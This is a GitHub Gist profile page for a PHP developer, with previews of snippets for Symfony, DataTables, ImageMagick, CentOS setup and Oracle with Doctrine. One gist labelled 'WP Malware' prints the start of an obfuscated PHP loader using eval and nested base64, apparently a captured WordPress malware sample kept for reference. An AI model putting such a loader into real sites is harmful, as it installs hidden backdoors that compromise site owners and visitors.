Skip to content

Instantly share code, notes, and snippets.

View phpfour's full-sized avatar

Mohammad Emran phpfour

View GitHub Profile
@phpfour
phpfour / news-feed-image-blur.css
Last active July 23, 2020 20:41 — forked from arafathusayn/news-feed-image-blur.css
Facebook Image Blur and Clear on Hover in News Feed (by ArafatHusayn)
/*
# Install from the link:
https://userstyles.org/styles/139786/facebook-photo-blur-in-news-feed
*/
@-moz-document domain("www.facebook.com"), domain("web.facebook.com") {
div[id*="feed_stream"] a[target="_blank"] img,
div[id*="feed_stream"] a[href*="photo"] img,
@phpfour
phpfour / email.php
Created February 18, 2017 06:44
Symfony Email Test Script
<?php
use Symfony\Component\Debug\Debug;
$loader = require_once __DIR__.'/../app/bootstrap.php.cache';
Debug::enable();
require_once __DIR__.'/../app/AppKernel.php';
$kernel = new AppKernel('dev', true);
@phpfour
phpfour / datatable.html
Created January 19, 2017 08:31
Datatable Filtering
<script>
$(function () {
var $table = $('#candidates');
var $dataTable = $table.DataTable({
"paging": true,
"lengthChange": false,
"searching": true,
@phpfour
phpfour / enhance.sh
Created August 23, 2016 06:14
Imagemagick Image Enhancement
convert photo.jpg -channel rgb -auto-level output.jpg
@phpfour
phpfour / ===index.php
Last active August 19, 2016 11:51
WP Malware
<?php ob_start(); ?>
<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW1aYVIxWnFZakpTYkV0R2NGbFhiV2hwVVRKb2NGZFdhRTlpUlRWeFZXMWFZVkl4V25GWmFrcFRZa1YwUm1WRVZsQlNSMmhTVkZSQ1MyUnNhM2RTYmxwVVlsVmFXVll4WXpWWlYwcHpWMnBHV0ZaRk5WUlpNR1JLWlZVMVdGZHRSbGhTTW1nelYxaHdUMVV5Vm5Ka1JWSmhVak5DY2xZd1ZuZGxiR1JGVTI1T2ExWXdXbHBXVm1NeFZFWlZlV1JGZUZKTlYyZzJWWHBDVDFWdFJYbGtSM1JZVWxoQ05sVXhWbEprTVc5M1lraFNhRkpGU25KVk1GWkdUV3hTU1dGNlZtcFdiWGhhVmpJeGIyRXhTWGhYYWxaYVlrVXdlRmxYTVVwbFZURkpWMjF3YVZac2NIbFdSVkpMVXpKR1IyRXpiR3RUUlRWdlZtNXdWMlZXWkhOaFJYQnJWakExU1ZsVmFHdFRiVVoxVkcwMVVrMXRVbmxWTW5SM1UwWlNkRTlWY0ZOU1JVcDFWakZTVDFZeVZsaFRhMlJRVjBWS2NGbHNaRE5rTVUxM1ZHNUtUMDFIZUVWVlZsWXdVa1pXV0dSSVNtRlNWMUo2V2tWYWQxZEZPVlZTYlhSU1RVVlZNVlV4VmxOV2F6UjNZa1ZTVWxaWVVrVldWbVEwWTFad1IyRkZkR3BOVjJRMlZrY3hOR0V4U2paaVJFNWhVbFUxZFZsVVJuSmxWbTk2Vkd4S1RsWnNjRlZXYTFaV1RsWldWMWRyWkZCV2JIQlhXVlJPYTJWc1RuSmhSbVJzVmpCd1JWbFljR3RU.YkVaWVQxVjBVazFYVWxCVVZtUlBaRWRXU0ZkdGNFNWlSbXd6VjFkd1QxRXdNVVprUlZKV1lsaENi
@phpfour
phpfour / install.sh
Last active July 5, 2016 17:46
CentOS 7.x Preparation for PHP Application
# Add the EPEL repositories:
sudo rpm -Uvh http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
# Add the Remi Repositories:
sudo rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
# Install Apache:
sudo yum --enablerepo=remi,remi-php56 install httpd
# Install PHP with packages:
@phpfour
phpfour / centos.sh
Created April 21, 2016 10:04
CentOS 6.x Preparation for PHP Application
# Add the EPEL repositories:
sudo yum install epel-release
wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
sudo rpm -Uvh epel-release-6*.rpm
# Add the Remi Repositories:
wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
sudo rpm -Uvh remi-release-6*.rpm
@phpfour
phpfour / OracleDoctrineTypeMappingListener.php
Created January 23, 2016 02:41 — forked from johnkary/OracleDoctrineTypeMappingListener.php
Connecting to Oracle with Symfony2 and Doctrine 2. 1. Map Oracle's DATE type to Doctrine's "date" type instead of "datetime" for Oracle driver. 2. Properly configures Doctrine to use most common Oracle Date and DateTime environment configurations. You may or may not need this. Check your Oracle server configuration and see \Doctrine\DBAL\Event\L…
<?php
namespace Acme\PeopleSoftBundle\Listener;
use Doctrine\DBAL\Event\ConnectionEventArgs;
use Doctrine\DBAL\Events;
use Doctrine\Common\EventSubscriber;
/**
* Changes Doctrine's default Oracle-specific column type mapping to Doctrine
@phpfour
phpfour / macosx-install-php-oracle-oci8.md
Last active January 8, 2017 11:45 — forked from gido/macosx-install-php-oracle-oci8.md
install Oracle PHP Extension (oracle OCI8) - instantclient for Mac OS 10.8